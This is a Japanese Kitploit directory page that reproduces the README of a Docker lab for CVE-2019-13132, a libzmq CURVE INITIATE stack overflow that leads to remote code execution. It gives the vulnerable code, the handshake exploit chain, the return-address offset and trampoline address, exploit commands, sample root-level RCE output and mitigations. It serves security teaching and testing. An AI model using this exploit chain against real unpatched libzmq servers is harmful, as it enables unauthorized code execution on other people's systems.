Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2019-13132-lab — CVE-2019-13132 — libzmq CURVE INITIATE スタックオーバーフロー → RCE。動作するエクスプロイト + Docker ラボ。 | Kitploit
ツール/GitHubGitHub/dinosn/cve-2019-13132-lab
脆弱性分析エクスプロイトリバースエンジニアリングファジング学習と教育ペイロード開発バイナリエクスプロイトラボと実践
GitHubdinosn/cve-2019-13132-lab

cve-2019-13132-lab

CVE-2019-13132 — libzmq CURVE INITIATE スタックオーバーフロー → RCE。動作するエクスプロイト + Docker ラボ。

リポジトリを見る
24ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-13132 — libzmq CURVE INITIATE スタックオーバーフロー → RCE ラボ

CVE CVSS Affected License

CVE-2019-13132 に対する、エンドツーエンドで実際に動作する RCE エクスプロイト + 再現可能なラボです。これは libzmq の CURVE INITIATE ハンドシェイクハンドラにおけるスタックバッファオーバーフローです。サーバーの長期公開鍵(設計上公開されるパラメータ)を知っている攻撃者は、process_initiate() 内の固定サイズのスタックバッファをオーバーフローさせ、保存された戻りアドレスを上書きし、実行を任意のコードにリダイレクトできます。

著者: Nicolas Krassas (@dinosn)。

ラボ使用のみ。 このキットには、意図的に脆弱な libzmq 4.3.0 が緩和策を無効化した状態で同梱されています。ポート 5556 をラボの外部に公開しないでください。このバグは libzmq 4.3.2 で修正されています。


クイックスタート

root@kitploit:~
docker build --platform linux/amd64 -t cve-2019-13132-lab .
docker run --rm -it --platform linux/amd64 --privileged \
           -p 5556:5556 cve-2019-13132-lab

# inside the container (calibration runs automatically):
/opt/zmq-curve-rce/exploit.py
cat /tmp/pwned-13132

自動スモークテスト(エクスプロイトを実行し、証明ファイルを検証):

root@kitploit:~
docker exec <container> /opt/zmq-curve-rce/run_lab_test.sh

リポジトリ構成

root@kitploit:~
.
├── README.md           # this file
├── Dockerfile          # one-command containerised lab
├── server-curve.c      # CURVE REP listener — the vulnerable target
├── exploit.py          # full exploit (HELLO → WELCOME → oversized INITIATE)
├── compute_offsets.py  # build-time offset extraction → build_offsets.json
├── calibrate.sh        # runtime calibration → profile.json
├── start_server.sh     # start/restart the target
├── run_lab_test.sh     # automated end-to-end smoke test
└── entrypoint.sh       # Docker entrypoint (ASLR off + server + calibrate)

脆弱性

src/curve_server.cpp:284-336 (libzmq 4.3.0):

root@kitploit:~
if (size < 257) {                   // only a MINIMUM check; no upper bound
    errno = EPROTO; return -1;
}

const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;

uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256];  // 416 bytes fixed

memcpy (initiate_box + crypto_box_BOXZEROBYTES,             // dest: stack buf + 16
        initiate + 113,                                     // src:  attacker data
        clen - crypto_box_BOXZEROBYTES);                    // len:  size - 113

initiate_box は 416 バイトのスタック割り当てバッファです。memcpy は size - 113 バイトを 400 バイトのペイロード領域(オフセット 16..415)に書き込みます。size > 513 の INITIATE は、バッファを越えて保存された呼び出し先保存レジスタと戻りアドレスまでオーバーフローします。

クッキー検証はオーバーフローより前に行われるため、INITIATE は本物のクッキーを保持している必要があります。ただし、クッキーは直前の WELCOME メッセージから、サーバーの長期公開鍵のみを使用して取得されます。


エクスプロイトチェーン

1. CURVE ハンドシェイク(必要なのは公開鍵のみ)

CURVE プロトコルは、クライアントがサーバーの長期公開鍵をすでに保持しているように設計されています(接続 URI または設定に含まれます)。エクスプロイトは次の処理を行います:

  1. 新しい一時鍵ペア (C', c') を生成します。
  2. 有効な HELLO を送信します — サーバーは C' + 自身の秘密鍵でこれを復号します。
  3. WELCOME を受信します — C' + サーバーの公開鍵でこれを復号します。
  4. WELCOME からクッキーを抽出します。
  5. 本物のクッキー + 過大なペイロードを含む INITIATE を送信します。
  6. クッキーが検証され、脆弱な memcpy が発火します。

アプリケーションレベルの認証情報は不要です。ZAP 認証のバイパスもありません。オーバーフローは CURVE 鍵交換中に発生し、アプリケーションがピアを認識する前に発生します。

2. スタックオーバーフロー → 戻りアドレスの上書き

root@kitploit:~
process_initiate() stack frame (compiled with -O0 -fno-stack-protector):

    prologue: push r15; push r14; push r13; push r12; push rbp; push rbx
              sub $0x628, %rsp

    RSP + 0x490  ← memcpy destination (initiate_box + 16)
    RSP + 0x628  ← saved rbx
    RSP + 0x630  ← saved rbp
    RSP + 0x638  ← saved r12
    RSP + 0x640  ← saved r13
    RSP + 0x648  ← saved r14
    RSP + 0x650  ← saved r15
    RSP + 0x658  ← RETURN ADDRESS       offset = 0x658 - 0x490 = 456 bytes

エクスプロイトは 464 バイトのペイロードを送信します: 戻りアドレスに到達するための 456 バイトのフィラー (0x41)、その後に lab_trampoline() のアドレスを含む 8 バイトです。

3. エラーパス → エピローグ → ret → トランポリン

オーバーフロー後、crypto_box_open() は失敗します(オーバーフローしたデータは無意味な暗号文です)。エラーパスは失敗をログに記録し、errno を設定して -1 を返します — ただし、エラーパスはオーバーフロー領域より下のスタック位置(RSP+0xe0、RSP+0xf0、RSP+0x280)のみにアクセスするため、破損したスタックでも正常に実行されます。

関数エピローグ (add $0x628,%rsp; pop rbx-r15; ret) は破損した保存レジスタ(現在は 0x4141414141414141)をポップし、その後 ret がトランポリンアドレスをロードします。

4. コード実行

lab_trampoline() は生の syscall(libc なし、fork() なし)を使用して証明ファイルを書き込みます:

root@kitploit:~
void lab_trampoline(void) {
    int fd = syscall(SYS_open, "/tmp/pwned-13132", O_WRONLY|O_CREAT|O_TRUNC, 0644);
    syscall(SYS_write, fd, banner, ...);
    // reads /proc/self/status (shows uid, pid, capabilities)
    // reads /etc/hostname
    syscall(SYS_exit_group, 0);
}

system() / fork() の代わりに生の syscall が使用されるのは、process_initiate() が libzmq の I/O スレッド上で実行されるためです。マルチスレッドプロセスでメインスレッド以外から fork() を呼び出すと、glibc の pthread_atfork ロックハンドラでデッドロックが発生します。

公開鍵だけで十分な理由

サーバーの長期公開鍵は CurveZMQ プロトコルにおける公開パラメータです — クライアントは接続するためにこれを保持している必要があります。通常は設定ファイル、URI、またはディスカバリメカニズムで配布されます。このエクスプロイトには秘密情報は一切不要です。


オフセット解決

エクスプロイトには 2 つの値が必要です:

フィールド値ソース
trampoline_addr0x401206nm server-curve (非 PIE バイナリ、固定アドレス)
offset_to_ret456process_initiate の逆アセンブル結果 (0x658 - 0x490)

2 つとも Docker ラボビルド(Debian 12、gcc 12、libzmq 4.3.0)向けの組み込みデフォルトとして exploit.py にハードコードされています。キャリブレーション手順は不要です — エクスプロイトを実行するだけです:

root@kitploit:~
python3 exploit.py                                          # uses built-in defaults
python3 exploit.py 127.0.0.1 5556 --profile profile.json   # explicit profile file
python3 exploit.py --trampoline 0x401206 --offset 456       # manual override

解決の優先順位: --trampoline/--offset フラグ → --profile ファイル → /opt/zmq-curve-rce/profile.json → 組み込みデフォルト。

なぜランタイムフィンガープリンティングがないのか?

ZMTP にはイントロスペクション API がありません。グリーティングが明かすのはプロトコルバージョン (3.x) とメカニズム (CURVE) のみで、libzmq のビルド、コンパイラ、バイナリレイアウトについては何も明かしません。未知のターゲットに対する自動オフセット選択を可能にする、ランタイムでアクセス可能なビルド識別子は存在しません。

calibrate.sh / compute_offsets.py スクリプトは、トランポリンアドレスが変わる可能性がある、異なるディストリビューションや gcc バージョンでのリビルド用に提供されています。Docker ラボ内では自動的に実行されますが、必須ではありません。


サンプル出力

root@kitploit:~
$ /opt/zmq-curve-rce/run_lab_test.sh
=== CVE-2019-13132 lab test ===
[*] target:         127.0.0.1:5556
[*] trampoline    @ 0x0000000000401206
[*] offset to ret:  456 bytes

[+] connected
[+] HELLO/WELCOME complete (S'=00b19cb8217ac149...)
[+] sent INITIATE (577 bytes, overflow = 464)
[+] waiting for process_initiate() → ret → trampoline → system()
[*] done — check /tmp/pwned-13132 on target

--- proof file contents ---
CVE-2019-13132: RCE achieved via CURVE INITIATE stack overflow
Name:   server-curve
...
Uid:    0       0       0       0
...
hostname: caa76cbbc4a4
--- end ---

[PASS] RCE confirmed — /tmp/pwned-13132 created by the libzmq server process.
[PASS] CVE-2019-13132 lab — RCE chain verified end-to-end.

緩和策

防御策効果
libzmq >= 4.3.2 へのアップグレード修正済み。 memcpy の前に INITIATE サイズの上限チェックが追加されました。
スタックカナリア (-fstack-protector)関数が戻る前にオーバーフローを検出します。 カナリアはローカル変数と保存レジスタの間にあり、オーバーフローはそれを破壊して __stack_chk_fail をトリガーします。
ASLR共有ライブラリとスタックのアドレスをランダム化します。 トランポリンは非 PIE バイナリ(固定アドレス)にありますが、本番サーバーは PIE であり、情報漏洩が必要になります。
PIEサーバーバイナリのロードアドレスをランダム化します。 漏洩がなければトランポリンアドレスは予測できなくなります。
NXここでは無関係です — シェルコードは注入されず、エクスプロイトは既存のコードを呼び出します。
ZAP / アプリケーションレベルの認証効果なし — オーバーフローは CURVE 鍵交換中に発生し、ZAP が参照される前です。

クリーンアップ

root@kitploit:~
docker rm -f <container>
# or inside the container:
pkill -9 -x server-curve
rm -f /tmp/pwned-13132
sysctl -w kernel.randomize_va_space=2   # restore ASLR

参考

  • NVD CVE-2019-13132
  • libzmq 4.3.2 リリースノート — 修正
  • CurveZMQ 仕様 (ZMQ RFC 26) — CURVE ハンドシェイクプロトコル
  • ZMTP 3.1 (ZMQ RFC 37) — ZeroMQ Message Transport Protocol

著者

Nicolas Krassas — @dinosn

ライセンス

MIT。意図的に脆弱な libzmq 4.3.0 ソースは、ビルド時にアップストリームの LGPLv3-with-exceptions / MPLv2 リポジトリから取得されます。

免責事項

防御的セキュリティ研究、教育、および認可されたセキュリティテスト専用です。同梱の脆弱なビルドを、隔離されたラボ環境の外にデプロイしないでください。

ツールをダウンロード